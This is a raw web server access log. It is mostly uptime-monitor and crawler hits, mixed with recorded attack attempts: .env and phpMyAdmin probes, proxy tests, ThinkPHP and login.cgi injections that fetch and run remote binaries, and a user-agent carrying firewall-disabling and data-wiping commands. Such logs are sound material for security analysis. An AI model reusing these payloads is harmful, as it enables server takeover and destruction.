185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /application/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /frontend/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /mods/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /routes/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /site/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /laravel-artisan/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [21/Feb/2020:21:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [21/Feb/2020:21:33:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [21/Feb/2020:21:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.80.166 - - [21/Feb/2020:21:39:55 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [21/Feb/2020:21:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.50.135.50 - - [21/Feb/2020:21:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [21/Feb/2020:21:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [21/Feb/2020:21:45:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:21:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.6.21.30 - - [21/Feb/2020:21:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [21/Feb/2020:21:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.225.214.144 - - [21/Feb/2020:21:54:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
77.40.30.69 - - [21/Feb/2020:21:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
110.177.79.155 - - [21/Feb/2020:21:54:32 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01694878 Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2) Gecko/20100115 Firefox/3.6 GTBDFff GTB7.0"
113.128.104.177 - - [21/Feb/2020:21:54:33 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01712517 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.12.10.150 - - [21/Feb/2020:21:54:34 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.145.3.235 - - [21/Feb/2020:21:54:34 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
116.249.34.33 - - [21/Feb/2020:21:54:35 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.248.200.220 - - [21/Feb/2020:21:54:36 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.117.201.116 - - [21/Feb/2020:21:54:36 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:21:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.82.54.15 - - [21/Feb/2020:21:54:36 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.128.105.61 - - [21/Feb/2020:21:54:37 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.48.130.159 - - [21/Feb/2020:21:54:37 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.34.177.57 - - [21/Feb/2020:21:54:38 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.249.34.188 - - [21/Feb/2020:21:54:38 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.37.207.142 - - [21/Feb/2020:21:54:38 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.88.113.55 - - [21/Feb/2020:21:54:38 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.175.56.228 - - [21/Feb/2020:21:54:40 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.160.174.18 - - [21/Feb/2020:21:54:40 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.94.163.234 - - [21/Feb/2020:21:54:40 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.213.75.88 - - [21/Feb/2020:21:54:40 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
27.211.182.92 - - [21/Feb/2020:21:54:43 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.0.19.215 - - [21/Feb/2020:21:54:44 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:21:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.174.233.154 - - [21/Feb/2020:21:59:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.25.185.103 - - [21/Feb/2020:21:59:50 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.185.103 - - [21/Feb/2020:21:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [21/Feb/2020:22:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.130.102.59 - - [21/Feb/2020:22:02:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:22:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.185.103 - - [21/Feb/2020:22:03:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
104.195.140.233 - - [21/Feb/2020:22:03:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:22:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.185.103 - - [21/Feb/2020:22:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [21/Feb/2020:22:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.184.204.153 - - [21/Feb/2020:22:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:22:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.185.103 - - [21/Feb/2020:22:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [21/Feb/2020:22:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.185.103 - - [21/Feb/2020:22:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [21/Feb/2020:22:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.166.45.115 - - [21/Feb/2020:22:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:22:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.236.78.158 - - [21/Feb/2020:22:20:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:22:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.13.139.51 - - [21/Feb/2020:22:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:22:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.126.35 - - [21/Feb/2020:22:28:32 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
166.62.126.35 - - [21/Feb/2020:22:28:33 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
212.91.246.72 - - [21/Feb/2020:22:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.126.35 - - [21/Feb/2020:22:28:37 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
190.141.221.197 - - [21/Feb/2020:22:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:22:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.5.161.217 - - [21/Feb/2020:22:29:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:22:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.105.93.18 - - [21/Feb/2020:22:30:47 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
211.192.224.217 - - [21/Feb/2020:22:31:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [21/Feb/2020:22:31:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [21/Feb/2020:22:31:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [21/Feb/2020:22:31:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:22:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [21/Feb/2020:22:31:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:22:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.204.133.74 - - [21/Feb/2020:22:43:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:22:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
